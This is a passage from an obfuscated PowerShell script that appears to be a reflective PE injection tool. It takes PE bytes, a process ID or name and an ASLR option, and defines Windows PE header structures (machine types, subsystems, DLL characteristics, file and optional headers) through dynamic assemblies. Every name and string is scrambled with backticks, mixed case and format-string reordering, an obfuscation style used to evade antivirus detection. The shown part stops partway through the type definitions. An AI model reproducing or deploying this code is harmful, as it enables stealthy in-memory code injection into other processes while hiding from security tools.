  56.         [Parameter(PosiTIOn = 0, mANdaToRY = ${tr`Ue})]
  57.         [Byte[]]
  58.         ${pEB`y`TeS},
  59.        
  60.         [Parameter(pOSITioN = 1, mandaToRy = ${tR`Ue})]
  61.         [String]
  62.         ${fU`N`Cr`E`TuRNtype},
  63.                
  64.         [Parameter(pOSITIon = 2, mAnDATOry = ${T`Rue})]
  65.         [Int32]
  66.         ${PR`OcID},
  67.        
  68.         [Parameter(PositioN = 3, manDATORy = ${T`RUE})]
  69.         [String]
  70.         ${P`ROcNA`mE},
  71.         [Parameter(PoSItiON = 4, MAnDAtOrY = ${t`Rue})]
  72.         [Bool]
  73.         ${F`Or`Ceaslr}
  74.     )
  75.    
  76.     Function gET`-wIN32TY`PeS
  77.     {
  78.         ${WIn`32T`yP`ES} = &('a') ("{0}{2}{1}"-f'System','ect','.Obj')
  79.         ${dom`A`iN} = [AppDomain]::"curr`e`N`TdomAIN"
  80.         ${DYNam`iCa`SSembLy} = &('a') ("{6}{5}{1}{0}{3}{2}{4}"-f 'lec','.Ref','ion.AssemblyNa','t','me','tem','Sys')('DynamicAssembly')
  81.         ${ASSE`mblYbu`ILDeR} = ${Do`MAIn}."D`e`F`IN`ed`yNAMicA`sSEmbLY"(${dYnaMIcaS`se`Mb`lY}, [System.Reflection.Emit.AssemblyBuilderAccess]::"R`UN")
  82.         ${mODu`L`Eb`UilDer} = ${a`sSeMbLybU`iL`DEr}."defINEdYN`A`m`IC`M`odU`lE"('DynamicModule', ${f`ALse})
  83.         ${CONst`R`U`CtO`RiNfO} = [System.Runtime.InteropServices.MarshalAsAttribute]."g`etC`OnstR`Uc`TORs"()[0]
  84.         ${T`Y`pEbuilDEr} = ${MODu`lEB`Ui`ldeR}."D`EfINee`NUm"('MachineType', 'Public', [UInt16])
  85.         ${Ty`PebuILD`eR}."de`FI`Ne`L`ItErAL"('Native', [UInt16] 0) | &("{1}{0}{2}" -f 't-Nu','Ou','ll')
  86.         ${T`YPEbUil`DEr}."defi`N`eLITEr`Al"('I386', [UInt16] 0x014c) | &("{2}{1}{0}" -f'l','t-Nul','Ou')
  87.         ${t`y`PeBui`LDer}."DEFINeli`TE`R`AL"('Itanium', [UInt16] 0x0200) | &("{1}{0}{2}" -f'-','Out','Null')
  88.         ${Ty`pebuI`ld`Er}."deFI`NEl`ItEr`AL"('x64', [UInt16] 0x8664) | &("{0}{2}{1}"-f 'Ou','ull','t-N')
  89.         ${MaCH`I`N`ETypE} = ${t`y`peB`UIlDeR}."c`RE`ATe`Type"()
  90.         ${W`i`N3`2TYpES} | &("{2}{1}{0}" -f 'r','Membe','Add-') -MemberType ("{2}{0}{1}" -f 'Pr','operty','Note') -Name ("{1}{2}{0}" -f'neType','M','achi') -Value ${MaCH`Inety`Pe}
  91.         ${TyP`EbU`iLd`er} = ${ModuLeBu`I`ldER}."defIn`E`EnuM"('MagicType', 'Public', [UInt16])
  92.         ${Typ`EbUI`LdER}."D`efi`NELi`TEral"('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | &("{1}{0}" -f'-Null','Out')
  93.         ${Typ`ebUi`LDeR}."D`EfInELi`TERAl"('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | &("{0}{1}" -f 'Ou','t-Null')
  94.         ${MAGI`cty`PE} = ${t`ypEBU`ILDEr}."c`REAt`EtY`Pe"()
  95.         ${wIn3`2TY`PEs} | &("{1}{0}{2}" -f 'emb','Add-M','er') -MemberType ("{2}{0}{1}"-f 'otePropert','y','N') -Name ("{0}{2}{1}" -f 'Mag','ype','icT') -Value ${mAGic`T`ype}
  96.         ${t`yp`ebuiL`dEr} = ${m`oD`Ul`e`BuiLdER}."DEfiNe`e`NuM"('SubSystemType', 'Public', [UInt16])
  97.         ${TY`pEbUILd`er}."DeFINelI`T`eraL"('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | &("{0}{1}{2}" -f 'Out','-Nul','l')
  98.         ${TYpe`BU`I`lDeR}."defIne`LI`TErAl"('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | &("{1}{0}{2}" -f'Nu','Out-','ll')
  99.         ${TypeBu`I`LD`Er}."DE`F`ineL`iteR`Al"('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | &("{1}{0}{2}" -f'ut-','O','Null')
  100.         ${t`Ype`BuIl`DEr}."DEFIN`Eli`TErAL"('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | &("{2}{1}{0}"-f'l','-Nul','Out')
  101.         ${T`YPeBU`i`LDer}."De`FINeLiter`AL"('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | &("{0}{2}{1}" -f 'O','-Null','ut')
  102.         ${t`yPe`B`UILdEr}."d`efINe`LItE`RAl"('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | &("{0}{1}"-f'Out','-Null')
  103.         ${ty`PE`Bui`LdeR}."DeFINe`li`T`erAl"('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | &("{0}{1}{2}"-f'O','u','t-Null')
  104.         ${T`YPEbuil`dEr}."DEFINElItE`R`AL"('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | &("{1}{2}{0}"-f'-Null','Ou','t')
  105.         ${typeb`U`il`dER}."DEf`InELIt`eR`AL"('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | &("{0}{1}{2}" -f'Out-','Nul','l')
  106.         ${TyP`eBUI`L`DeR}."DEF`iNeLI`T`ErAl"('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | &("{0}{1}" -f 'Out-Nu','ll')
  107.         ${T`yPEb`UIld`er}."DefINEli`TE`Ral"('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | &("{0}{2}{1}" -f 'O','ll','ut-Nu')
  108.         ${SuB`S`YsT`eMt`ype} = ${t`YpeBUild`Er}."Crea`TE`T`ypE"()
  109.         ${win`3`2ty`PeS} | &("{2}{0}{1}" -f 'm','ber','Add-Me') -MemberType ("{1}{2}{0}"-f 'ty','No','teProper') -Name ("{0}{2}{3}{1}"-f'SubSys','e','t','emTyp') -Value ${su`B`SYSTEm`TyPe}
  110.         ${t`yp`Eb`UildER} = ${M`oDul`eb`UIlDEr}."dE`FINe`e`NUm"('DllCharacteristicsType', 'Public', [UInt16])
  111.         ${t`YPe`BUiLDeR}."d`E`FineL`ItER`AL"('RES_0', [UInt16] 0x0001) | &("{2}{0}{1}" -f'ut-N','ull','O')
  112.         ${t`ypEb`UIldER}."dEFinEl`itE`R`AL"('RES_1', [UInt16] 0x0002) | &("{2}{1}{0}" -f'-Null','t','Ou')
  113.         ${T`Yp`EBU`ildEr}."De`Fi`NeLItE`R`AL"('RES_2', [UInt16] 0x0004) | &("{1}{0}{2}"-f 'l','Out-Nu','l')
  114.         ${t`yPeBUi`ldeR}."De`F`I`NElITEraL"('RES_3', [UInt16] 0x0008) | &("{0}{1}"-f 'Ou','t-Null')
  115.         ${t`Yp`EBUilDer}."d`Ef`I`N`elItErAL"('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | &("{0}{1}{2}"-f 'Ou','t-','Null')
  116.         ${TY`PeBUIl`dEr}."dEFin`ELIT`ER`AL"('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | &("{1}{0}{2}" -f 'l','Out-Nu','l')
  117.         ${T`ypEbu`I`ldEr}."DEFInEliTe`R`AL"('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | &("{1}{2}{0}" -f'll','Out','-Nu')
  118.         ${tyPEbU`I`ld`er}."DEfinel`iTE`RaL"('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | &("{1}{2}{0}"-f'll','O','ut-Nu')
  119.         ${TYpe`BUi`l`dEr}."D`eFINEL`i`TEral"('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | &("{0}{2}{1}" -f'Out-','ll','Nu')
  120.         ${t`yPeBUiL`DeR}."DE`FineLI`T`E`RaL"('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | &("{1}{0}{2}"-f'-Nul','Out','l')
  121.         ${TYP`EbuiL`dER}."Defi`N`eLiTeral"('RES_4', [UInt16] 0x1000) | &("{0}{1}{2}" -f 'Ou','t-','Null')
  122.         ${TYp`Eb`UILdEr}."dEf`i`NElIteRAL"('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | &("{2}{0}{1}" -f 't-','Null','Ou')
  123.         ${tYpE`BUil`DEr}."D`EfinEL`ItEral"('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | &("{1}{2}{0}"-f '-Null','Ou','t')
  124.         ${dLlCHARaCt`ER`istiCst`Y`pE} = ${TypEBUi`lD`er}."cReA`T`ETy`pe"()
  125.         ${WIN3`2t`YPeS} | &("{3}{2}{1}{0}"-f'r','e','-Memb','Add') -MemberType ("{0}{1}{2}" -f'N','otePr','operty') -Name ("{0}{4}{3}{1}{5}{2}" -f 'D','stics','e','ri','llCharacte','Typ') -Value ${dlLCHaR`AcTERis`Tic`S`Ty`Pe}
  126.         ${AtTr`IBuT`Es} = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  127.         ${tYpeBuI`l`deR} = ${ModULE`Bu`ilD`er}."D`efinE`TyPe"('IMAGE_DATA_DIRECTORY', ${a`TtrI`BUTeS}, [System.ValueType], 8)
  128.         (${TYPE`Bui`Lder}."D`eF`InEfIE`ld"('VirtualAddress', [UInt32], 'Public'))."Set`OFfs`eT"(0) | &("{2}{0}{1}" -f 'ut-Nu','ll','O')
  129.         (${TYp`E`B`UildER}."De`FinEf`ieLd"('Size', [UInt32], 'Public'))."SetO`F`Fs`eT"(4) | &("{1}{2}{0}"-f'll','O','ut-Nu')
  130.         ${I`M`Ag`e_DatA_d`iReCTORY} = ${t`YpE`BU`ILder}."cReATET`y`pE"()
  131.         ${wI`N32T`YP`es} | &("{1}{2}{0}" -f'ember','Add-','M') -MemberType ("{0}{2}{1}" -f'N','eProperty','ot') -Name ("{0}{4}{3}{1}{2}"-f'IMAGE_DAT','C','TORY','_DIRE','A') -Value ${Ima`gE_D`ATa_DIRe`ctory}
  132.         ${a`TT`RIbUTeS} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  133.         ${typEB`UI`ld`Er} = ${M`O`Du`lebUI`lder}."dEFI`NeT`YPe"('IMAGE_FILE_HEADER', ${a`TtrI`BuTeS}, [System.ValueType], 20)
  134.         ${type`B`UIlD`Er}."de`Fi`NeFiEld"('Machine', [UInt16], 'Public') | &("{2}{0}{1}" -f 'Nu','ll','Out-')
  135.         ${tYp`e`B`Uilder}."D`EFiNE`FiE`lD"('NumberOfSections', [UInt16], 'Public') | &("{1}{2}{0}" -f'-Null','Ou','t')
  136.         ${TyP`EbuI`LDEr}."dEf`IneFie`LD"('TimeDateStamp', [UInt32], 'Public') | &("{1}{2}{0}"-f'l','Ou','t-Nul')
  137.         ${tYPE`BUI`L`Der}."DeF`inEF`IelD"('PointerToSymbolTable', [UInt32], 'Public') | &("{1}{2}{0}" -f 'll','Out-N','u')
  138.         ${typ`eb`UIld`er}."DEFI`N`ef`ieLD"('NumberOfSymbols', [UInt32], 'Public') | &("{0}{1}"-f'Out-Nul','l')
  139.         ${T`YPE`BuiL`der}."De`FiNeF`i`ELD"('SizeOfOptionalHeader', [UInt16], 'Public') | &("{0}{2}{1}" -f 'Out-N','ll','u')
  140.         ${TYp`e`BU`iLdER}."d`efin`EFI`ElD"('Characteristics', [UInt16], 'Public') | &("{1}{0}{2}"-f 'ut-N','O','ull')
  141.         ${imaGe_`F`i`l`E_heAd`Er} = ${t`Y`pebUIlD`er}."cReA`T`ETYpE"()
  142.         ${w`i`N32t`ypeS} | &("{2}{0}{1}" -f 'd','-Member','Ad') -MemberType ("{1}{2}{0}{3}" -f'er','N','oteProp','ty') -Name ("{1}{2}{4}{3}{0}"-f 'DER','IMAGE_FI','L','A','E_HE') -Value ${i`M`AGe`_Fil`e_hEad`ER}
  143.         ${At`TR`ibUteS} = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  144.         ${Type`Bui`l`DeR} = ${modUle`BU`ILD`eR}."d`efinet`YPE"('IMAGE_OPTIONAL_HEADER64', ${Attrib`U`T`ES}, [System.ValueType], 240)
  145.         (${type`Build`eR}."D`e`FINeFiElD"('Magic', ${m`Ag`IcTYpe}, 'Public'))."SEt`OFFSet"(0) | &("{0}{1}" -f'Ou','t-Null')
  146.         (${typE`BUi`L`dER}."d`efInEfi`ELD"('MajorLinkerVersion', [Byte], 'Public'))."s`eToFFSeT"(2) | &("{1}{2}{0}" -f't-Null','O','u')
  147.         (${typEBu`I`lDeR}."DEFi`NeF`i`ELd"('MinorLinkerVersion', [Byte], 'Public'))."sET`oFf`sET"(3) | &("{1}{0}" -f'ut-Null','O')
  148.         (${tYpeb`Ui`LD`eR}."De`FIneFI`ElD"('SizeOfCode', [UInt32], 'Public'))."SEtO`F`FSEt"(4) | &("{0}{2}{1}" -f'Out','ull','-N')
  149.         (${tYPe`BU`I`ldeR}."d`eFI`Ne`FiELD"('SizeOfInitializedData', [UInt32], 'Public'))."SeTo`FFS`Et"(8) | &("{0}{1}{2}"-f'Out','-','Null')
  150.         (${tYp`EbUI`LDeR}."deF`IneF`IElD"('SizeOfUninitializedData', [UInt32], 'Public'))."SE`T`OffsEt"(12) | &("{1}{0}" -f '-Null','Out')
  151.         (${tyPE`BuILD`Er}."dEfiNeF`iE`ld"('AddressOfEntryPoint', [UInt32], 'Public'))."sE`ToF`FSet"(16) | &("{2}{0}{1}"-f'Nu','ll','Out-')
  152.         (${tYP`EbUIL`D`eR}."DEF`IN`EFiELd"('BaseOfCode', [UInt32], 'Public'))."s`ETofFs`Et"(20) | &("{0}{1}{2}"-f 'Out','-N','ull')
  153.         (${TY`pe`Buil`DER}."d`E`F`iNeFIeLD"('ImageBase', [UInt64], 'Public'))."s`ETOffsEt"(24) | &("{1}{0}" -f 'l','Out-Nul')
  154.         (${T`YpEBUi`LDEr}."DEfI`Nefi`eLd"('SectionAlignment', [UInt32], 'Public'))."S`Et`OffsET"(32) | &("{0}{1}{2}" -f 'Out-','Nul','l')
  155.         (${tYPEb`UI`Ld`eR}."dE`F`iNeFi`ElD"('FileAlignment', [UInt32], 'Public'))."sETOFf`s`eT"(36) | &("{1}{0}{2}"-f't-Nul','Ou','l')
  156.         (${TyPE`BuI`l`DEr}."deFI`NEF`I`eld"('MajorOperatingSystemVersion', [UInt16], 'Public'))."SE`TOfFSet"(40) | &("{1}{2}{0}" -f'll','O','ut-Nu')
  157.         (${TyPEBUi`l`dEr}."dE`FIn`EfiEld"('MinorOperatingSystemVersion', [UInt16], 'Public'))."SetO`FfS`Et"(42) | &("{0}{2}{1}" -f 'Out-','l','Nul')
  158.         (${T`Ypeb`UIldER}."defINEf`i`Eld"('MajorImageVersion', [UInt16], 'Public'))."set`o`FfSet"(44) | &("{0}{1}" -f'O','ut-Null')
  159.         (${TYpE`BUil`DEr}."Def`INE`F`IeLD"('MinorImageVersion', [UInt16], 'Public'))."s`eT`ofFSeT"(46) | &("{1}{0}{2}" -f '-Nul','Out','l')
  160.         (${tYp`EbUi`ld`er}."De`FiNe`F`iElD"('MajorSubsystemVersion', [UInt16], 'Public'))."se`TO`FFSEt"(48) | &("{0}{1}{2}"-f 'O','ut-','Null')
  161.         (${T`Yp`EBUIl`DER}."d`eF`IneF`IELD"('MinorSubsystemVersion', [UInt16], 'Public'))."SE`ToF`FSet"(50) | &("{1}{0}" -f 'ut-Null','O')
  162.         (${T`Yp`e`BuildER}."DEfineF`i`ELD"('Win32VersionValue', [UInt32], 'Public'))."s`EToffSeT"(52) | &("{0}{1}{2}"-f 'Ou','t-Nul','l')
  163.         (${typ`eb`UiLDer}."dE`FINe`FIeLD"('SizeOfImage', [UInt32], 'Public'))."sEToff`s`eT"(56) | &("{2}{0}{1}"-f '-Nu','ll','Out')
  164.         (${t`YpebUI`ldER}."DEfinE`FiE`lD"('SizeOfHeaders', [UInt32], 'Public'))."Se`TOffset"(60) | &("{0}{1}" -f'O','ut-Null')
  165.         (${Typ`E`BuI`Lder}."dE`F`inefIeLd"('CheckSum', [UInt32], 'Public'))."set`OFF`SET"(64) | &("{0}{1}"-f'Out','-Null')
  166.         (${Ty`pebu`IldEr}."dE`FINef`iE`ld"('Subsystem', ${s`Ub`sYSTEmTy`pE}, 'Public'))."set`oFfs`et"(68) | &("{2}{1}{0}" -f 'l','Nul','Out-')
  167.         (${tYP`e`BuIlDER}."deFi`NE`Fi`elD"('DllCharacteristics', ${dL`LCHARAC`TeRiS`TicStYpe}, 'Public'))."sE`ToFFSeT"(70) | &("{1}{2}{0}"-f 'ull','O','ut-N')
  168.         (${Typeb`UIld`Er}."deFIn`e`FiElD"('SizeOfStackReserve', [UInt64], 'Public'))."S`EtoFFS`et"(72) | &("{0}{1}{2}" -f 'O','ut-Nu','ll')
  169.         (${T`ype`BUiL`DEr}."dEfI`Nef`iE`lD"('SizeOfStackCommit', [UInt64], 'Public'))."sETo`FF`seT"(80) | &("{1}{0}{2}"-f'-','Out','Null')
  170.         (${tYP`E`B`UiLDEr}."DE`FiN`e`FIELd"('SizeOfHeapReserve', [UInt64], 'Public'))."sE`ToFF`set"(88) | &("{0}{1}" -f'Ou','t-Null')
  171.         (${tY`pEbUi`ldeR}."deFin`efie`LD"('SizeOfHeapCommit', [UInt64], 'Public'))."SETOFF`SeT"(96) | &("{0}{2}{1}" -f 'O','ll','ut-Nu')
  172.         (${tYp`ebUIL`DER}."de`Fi`NefiELd"('LoaderFlags', [UInt32], 'Public'))."sETo`Ffs`Et"(104) | &("{0}{1}{2}" -f'O','ut-Nul','l')
  173.         (${tYpEb`UI`l`der}."dEF`i`NEFiE`lD"('NumberOfRvaAndSizes', [UInt32], 'Public'))."SETOF`F`sEt"(108) | &("{0}{1}{2}" -f 'Ou','t-Nu','ll')
  174.         (${tY`PeBui`lD`ER}."DEFi`NeF`iE`LD"('ExportTable', ${I`MaG`E`_DaTa_DIR`ECtOry}, 'Public'))."sEt`OFFS`Et"(112) | &("{1}{0}{2}" -f'-Nul','Out','l')
  175.         (${t`y`PEbUiLd`ER}."D`eFI`NE`FIELD"('ImportTable', ${imaGe`_D`A`TA_Dir`ECT`ORY}, 'Public'))."se`ToF`Fs`ET"(120) | &("{1}{0}{2}"-f'ut-Nu','O','ll')
  176.         (${t`yPebu`il`dER}."dE`F`iNEFIE`Ld"('ResourceTable', ${I`MA`ge`_DAtA_dIrec`T`oRy}, 'Public'))."Set`OFfSeT"(128) | &("{2}{0}{1}" -f'ut-','Null','O')
  177.         (${tyP`EBu`ILD`Er}."deFI`NEFi`eLd"('ExceptionTable', ${iMaG`E_`Dat`A_D`iRECT`orY}, 'Public'))."SeT`oFFsET"(136) | &("{1}{2}{0}" -f 'll','Ou','t-Nu')
  178.         (${T`ypeBuI`ld`er}."dEfi`NEfI`elD"('CertificateTable', ${ImaG`E_daTA_diRE`C`T`oRY}, 'Public'))."s`etoffS`et"(144) | &("{0}{1}" -f 'Out-Nu','ll')
  179.         (${TYp`EbUIL`d`er}."d`E`FI`NeFIEld"('BaseRelocationTable', ${iM`AgE_`D`AtA_DiReC`ToRy}, 'Public'))."Set`OFF`SET"(152) | &("{1}{2}{0}"-f 'ull','O','ut-N')
  180.         (${Ty`p`EBU`IlDer}."d`eFINeFI`ELd"('Debug', ${i`mA`ge`_datA`_di`Re`ctoRY}, 'Public'))."S`Et`OFfSEt"(160) | &("{0}{2}{1}" -f'Ou','ll','t-Nu')
  181.         (${ty`Pe`BUild`er}."DefiN`EF`IELD"('Architecture', ${imaG`E`_dAt`A_`dIrEc`To`Ry}, 'Public'))."SE`TO`FfSet"(168) | &("{1}{0}{2}" -f '-Nu','Out','ll')
  182.         (${TYpe`BUi`LD`er}."DEF`IN`eF`ield"('GlobalPtr', ${iM`AGe_D`AtA`_`diRECtoRy}, 'Public'))."setoFf`S`eT"(176) | &("{2}{1}{0}"-f 'l','Nul','Out-')
  183.         (${TY`P`ebUil`DEr}."DEf`i`NeFiELd"('TLSTable', ${i`mag`e`_data_d`IRECt`orY}, 'Public'))."SETOf`FSeT"(184) | &("{2}{0}{1}"-f't-Nul','l','Ou')
  184.         (${T`yp`eBUI`ldeR}."DE`F`iN`eFIeLD"('LoadConfigTable', ${iM`AG`E`_daTA_D`IrEC`TorY}, 'Public'))."S`Etof`FS`et"(192) | &("{2}{0}{1}" -f't-Nu','ll','Ou')
  185.         (${TyPeBu`I`l`dER}."DEfI`Nefi`elD"('BoundImport', ${iMagE`_`data_`diR`ecto`RY}, 'Public'))."SETo`FfS`eT"(200) | &("{1}{0}{2}" -f 'ut-Nul','O','l')
  186.         (${T`YP`EbUIldeR}."D`eF`iNe`FIELD"('IAT', ${imAgE_dA`Ta_`Dire`C`T`ORy}, 'Public'))."SEToFFs`ET"(208) | &("{0}{2}{1}"-f 'Ou','l','t-Nul')
  187.         (${TY`PE`BU`ILDEr}."D`e`FinEFie`ld"('DelayImportDescriptor', ${ImAge_`dAT`A_`Dir`ecTO`RY}, 'Public'))."s`E`TOffs`ET"(216) | &("{1}{0}" -f 't-Null','Ou')
  188.         (${TY`p`e`BuilDER}."defI`N`efi`eLD"('CLRRuntimeHeader', ${iMage_DAtA`_d`IRE`CtORy}, 'Public'))."S`EtOFfs`eT"(224) | &("{2}{1}{0}"-f 'l','-Nul','Out')
  189.         (${T`ypEb`UIL`dEr}."Defi`Nefi`elD"('Reserved', ${IM`Age_daT`A_`dir`ectoRY}, 'Public'))."s`eT`offSEt"(232) | &("{0}{1}{2}"-f 'O','ut-','Null')
  190.         ${IM`Age_`OPtio`N`A`l_HEa`deR64} = ${ty`PebUI`Ld`eR}."CReAt`E`Ty`pE"()
  191.         ${WIN`32tY`pEs} | &("{1}{2}{0}{3}" -f 'e','Add-Me','mb','r') -MemberType ("{0}{2}{1}{3}"-f 'N','e','oteProp','rty') -Name ("{3}{6}{2}{0}{1}{5}{4}{7}" -f'IO','NA','E_OPT','IMA','_HE','L','G','ADER64') -Value ${iM`A`g`E_op`T`I`onaL_HeaDe`R64}
  192.         ${aTt`RIBUt`ES} = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  193.         ${ty`pEbUi`l`der} = ${mO`dU`lebuilD`ER}."D`EfiNEty`Pe"('IMAGE_OPTIONAL_HEADER32', ${a`TTri`BuTes}, [System.ValueType], 224)
  194.         (${TyPe`B`UILD`er}."DeFi`N`EField"('Magic', ${maG`icTy`pe}, 'Public'))."sEtOF`FS`eT"(0) | &("{1}{0}" -f'll','Out-Nu')
  195.         (${tYpEb`UIl`deR}."DeFi`N`EFIELD"('MajorLinkerVersion', [Byte], 'Public'))."SEtO`Ff`s`ET"(2) | &("{2}{1}{0}"-f'll','Nu','Out-')
  196.         (${ty`p`EBUil`dER}."DE`F`iNefI`eLd"('MinorLinkerVersion', [Byte], 'Public'))."SE`TOFf`SET"(3) | &("{1}{0}" -f't-Null','Ou')
  197.         (${tY`pEbuI`ldER}."D`EFiNefI`eLD"('SizeOfCode', [UInt32], 'Public'))."sEtof`F`seT"(4) | &("{2}{1}{0}"-f'l','-Nul','Out')
  198.         (${TYP`ebU`iLdEr}."DEFi`NEF`IELd"('SizeOfInitializedData', [UInt32], 'Public'))."SET`OF`Fs`Et"(8) | &("{2}{1}{0}"-f'll','-Nu','Out')
  199.         (${TY`Peb`UiLd`eR}."dEfIn`Ef`IElD"('SizeOfUninitializedData', [UInt32], 'Public'))."Setoff`SeT"(12) | &("{1}{2}{0}"-f 'Null','Out','-')
  200.         (${t`ypeb`Uil`deR}."dEfIn`ef`ield"('AddressOfEntryPoint', [UInt32], 'Public'))."SEtof`Fs`ET"(16) | &("{1}{0}" -f 'ull','Out-N')
  201.         (${t`Y`PEbUiLdEr}."de`F`InEfie`LD"('BaseOfCode', [UInt32], 'Public'))."s`e`TO`FfSET"(20) | &("{2}{1}{0}" -f 'l','t-Nul','Ou')
  202.         (${Ty`peb`UiL`der}."d`e`FINEfIE`LD"('BaseOfData', [UInt32], 'Public'))."SEt`offSET"(24) | &("{2}{1}{0}"-f '-Null','ut','O')
  203.         (${TypeBu`I`l`der}."d`eFINE`F`iElD"('ImageBase', [UInt32], 'Public'))."s`E`ToF`FsEt"(28) | &("{1}{2}{0}" -f'-Null','Ou','t')
  204.         (${TY`pEb`Ui`ldER}."DeF`I`N`EField"('SectionAlignment', [UInt32], 'Public'))."s`e`TOffSET"(32) | &("{1}{0}{2}"-f 'u','Out-N','ll')
  205.         (${T`yP`EbUI`Lder}."dEf`Inef`IeLd"('FileAlignment', [UInt32], 'Public'))."sE`T`oFfset"(36) | &("{0}{1}" -f'Out','-Null')
  206.         (${typeB`U`ilder}."d`EFi`Nefi`eLd"('MajorOperatingSystemVersion', [UInt16], 'Public'))."Set`oFFs`et"(40) | &("{1}{0}{2}"-f'ut','O','-Null')
  207.         (${T`YPe`BuIlDEr}."d`EfinE`FIelD"('MinorOperatingSystemVersion', [UInt16], 'Public'))."S`e`ToffseT"(42) | &("{1}{0}{2}"-f't','Ou','-Null')
  208.         (${ty`pEbuI`L`der}."dEf`InEf`i`eld"('MajorImageVersion', [UInt16], 'Public'))."S`eToFf`sEt"(44) | &("{1}{2}{0}" -f 'll','Out-N','u')
  209.         (${tY`pEBu`ILD`Er}."dEf`Ine`FIe`lD"('MinorImageVersion', [UInt16], 'Public'))."seTofF`s`eT"(46) | &("{2}{1}{0}" -f 'l','Nul','Out-')
  210.         (${TypEB`Ui`LDeR}."d`EFi`NEfiELd"('MajorSubsystemVersion', [UInt16], 'Public'))."se`TOfF`SET"(48) | &("{1}{0}{2}" -f'u','O','t-Null')
  211.         (${TYp`ebu`iLdER}."deFINE`FIe`LD"('MinorSubsystemVersion', [UInt16], 'Public'))."se`TOFFs`et"(50) | &("{0}{2}{1}"-f 'Out','ll','-Nu')
  212.         (${TY`peBu`Il`dER}."dE`Fin`EFiEld"('Win32VersionValue', [UInt32], 'Public'))."Seto`FF`S`ET"(52) | &("{1}{0}" -f'ull','Out-N')
  213.         (${tyP`eb`UI`lDER}."dEF`IN`EF`IELD"('SizeOfImage', [UInt32], 'Public'))."S`ETOffSET"(56) | &("{1}{0}{2}"-f '-','Out','Null')
  214.         (${t`Y`pebUIL`der}."deFiNE`F`Ield"('SizeOfHeaders', [UInt32], 'Public'))."S`EtOFfS`et"(60) | &("{2}{1}{0}" -f'l','-Nul','Out')
  215.         (${T`YpeBu`iLDEr}."d`EfiNEfie`Ld"('CheckSum', [UInt32], 'Public'))."set`o`FfSEt"(64) | &("{1}{2}{0}"-f'-Null','Ou','t')
  216.         (${t`yp`ebUIL`der}."de`FiN`efIeLD"('Subsystem', ${Su`Bs`Y`STE`mtYpe}, 'Public'))."S`etof`FSET"(68) | &("{0}{1}" -f'Out-N','ull')
  217.         (${TY`Pe`BuILDeR}."DEfiN`E`F`Ield"('DllCharacteristics', ${dll`cHARa`cteR`is`TiC`Sty`pe}, 'Public'))."SEtOf`FSET"(70) | &("{0}{2}{1}"-f'Out-N','ll','u')
  218.         (${TY`PEbUi`ldeR}."de`FiN`EFI`Eld"('SizeOfStackReserve', [UInt32], 'Public'))."s`etOf`F`sET"(72) | &("{0}{1}"-f'O','ut-Null')
  219.         (${t`ypeBUild`eR}."D`EFInEFi`eLd"('SizeOfStackCommit', [UInt32], 'Public'))."se`TofFs`ET"(76) | &("{2}{1}{0}" -f'l','-Nul','Out')
  220.         (${tY`pEbu`Ilder}."d`EFINefI`e`LD"('SizeOfHeapReserve', [UInt32], 'Public'))."s`EtOffset"(80) | &("{1}{0}"-f 'Null','Out-')
  221.         (${T`Yp`eBuilDeR}."De`FinEf`ielD"('SizeOfHeapCommit', [UInt32], 'Public'))."s`etOf`FseT"(84) | &("{2}{1}{0}" -f 'll','u','Out-N')
  222.         (${typ`E`BUi`lDeR}."Defi`NeFiE`lD"('LoaderFlags', [UInt32], 'Public'))."sE`TOf`FSET"(88) | &("{1}{0}"-f 'll','Out-Nu')
  223.         (${Ty`peB`UIl`deR}."DefI`NeFIE`lD"('NumberOfRvaAndSizes', [UInt32], 'Public'))."sETOfF`SET"(92) | &("{1}{0}" -f'l','Out-Nul')
  224.         (${T`ypebUil`der}."DEf`IN`EFIEld"('ExportTable', ${ImAgE_d`AtA`_`DIR`eCtOry}, 'Public'))."sEt`of`FSET"(96) | &("{2}{0}{1}" -f'Nu','ll','Out-')
  225.         (${T`Yp`EB`Uilder}."dEfin`ef`iE`Ld"('ImportTable', ${imAgE`_dat`A_`dirE`cTORY}, 'Public'))."s`EtofFsEt"(104) | &("{2}{0}{1}"-f't','-Null','Ou')
  226.         (${TYPEbU`il`Der}."dEf`iNEF`ielD"('ResourceTable', ${ima`G`e_dATA`_dire`CTO`Ry}, 'Public'))."SEt`o`F`FSET"(112) | &("{0}{1}"-f'O','ut-Null')
  227.         (${tYpE`BuIL`dEr}."D`EfIn`eFiE`Ld"('ExceptionTable', ${IMage`_`dATA`_`diReCto`RY}, 'Public'))."SE`TOFfS`et"(120) | &("{1}{0}{2}"-f 'Nu','Out-','ll')
